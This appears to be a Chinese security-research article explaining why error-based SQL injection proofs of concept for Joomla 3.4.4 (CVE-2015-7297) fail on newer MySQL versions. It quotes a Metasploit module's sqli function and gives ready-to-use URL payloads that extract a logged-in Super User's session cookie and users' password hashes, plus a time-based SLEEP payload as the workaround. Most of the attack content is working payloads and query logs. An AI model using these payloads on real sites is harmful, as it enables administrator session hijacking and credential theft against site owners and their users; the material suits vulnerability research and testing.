在MySQL 5.7.5之前的所有主版本存在一个BUG,该可能导致影响POC/EXP需要重新编写或修正的问题。
BUG信息链接:
在BUG说明中,可以通过以下SQL语句复现:
set names latin1;
drop table if exists t1;
create table t1(a int) engine=myisam;
insert into t1 values (0),(0),(1),(0),(0);
select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));
MySQL版本低于5.7.5中,执行以上SQL语句,会报如下错误:
Duplicate entry '107374182410737418241' for key 'group_key'
一般报错性SQL注入POC或EXP编写的时候,POC/EXP编写思路是通过SQL语句执行某个语句让WEB APP将报错(包含要执行的SQL语句查询结果)信息打印出来。
以Joomla__APP__SQL_Injection__CVE_2015_7297
这个漏洞为例:
在Joomla 3.4.4b版本对应com_contenthistory
组件的视图文件/administrator/components/com_contenthistory/views/history/view.html.php
中:
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode("\n", $errors)); return false;
}
出现SQL语句查询SQL语句查询错误时,会将关键报错信息打印出来。
因此这也导致在MetaSploit 框架中,对应利用模块:
77行定义的sqli利用函数中,通过报错方法让Joomla将错误信息打印出来:
def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
# The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real admin sessions.
sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id "
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list[ordering]' => '',
'item_id' => '1',
'type_id' => '1',
'list[select]' => sql
}
})
通过MySQL查询日志,可以看到MSF执行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。执行SQL语句为:
SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editor
FROM `u6egd_ucm_history` AS h
LEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`
注意:
u6egd
只是表前缀,不同环境下会变化。
该SQL语句真实执行后,报的错误如下:
因此,我们可构造对应的Payload:
/index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id
期望响应含有已登陆超级管理员的session_id(即身份令牌Cookie):
我们在MySQL 8.0版本中,看到没有报错了:
在PHP 5.6.40
、mysql Ver 14.14 Distrib 5.7.26
环境下,我们发现官方所谓的修复宣称并不准确:
可以看到,MySQL低于5.7.5的部分小版本已经修复了(5.7.5应该是彻底修复,小版本可能还有其他Bug),通过MySQL官方信息:
https://bugs.mysql.com/bug.php?id=90398
才看到已经在5.7.5彻底修复。但在最后又说明MySQL 5.7.27 and 8.0.17修复,这就有点尴尬了…
通过实际环境分析,在PHP 5.6.40
、mysql Ver 14.14 Distrib 5.7.26
、Joomla 3.4.4
环境下进行漏洞复现,使用同一个Payload利用无法获取到对应数据了:
Payload:
index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select password from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)
在后台MySQL日志看到的查询语句为:
SELECT (select 1 from (select count(*),concat((select password from sb2ah_users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`
真实执行时,发现返回空数据了:
因此,在实际编写对应的Joomla漏洞POC或EXP时,需同时采用基于时间注入方式进行注入判断与利用。
如Payload:
index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(SELECT 8533 FROM (SELECT(SLEEP(5)))x)
对应MySQL查询日志
SELECT (SELECT 8533 FROM (SELECT(SLEEP(5)))x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`
对比时间差来判断与利用:
也就是说,你的POC、EXP是时候需要改改了,拿来主义这时候行不通!
*本文作者:麒麟安全实验室,转载请注明来自FreeBuf.COM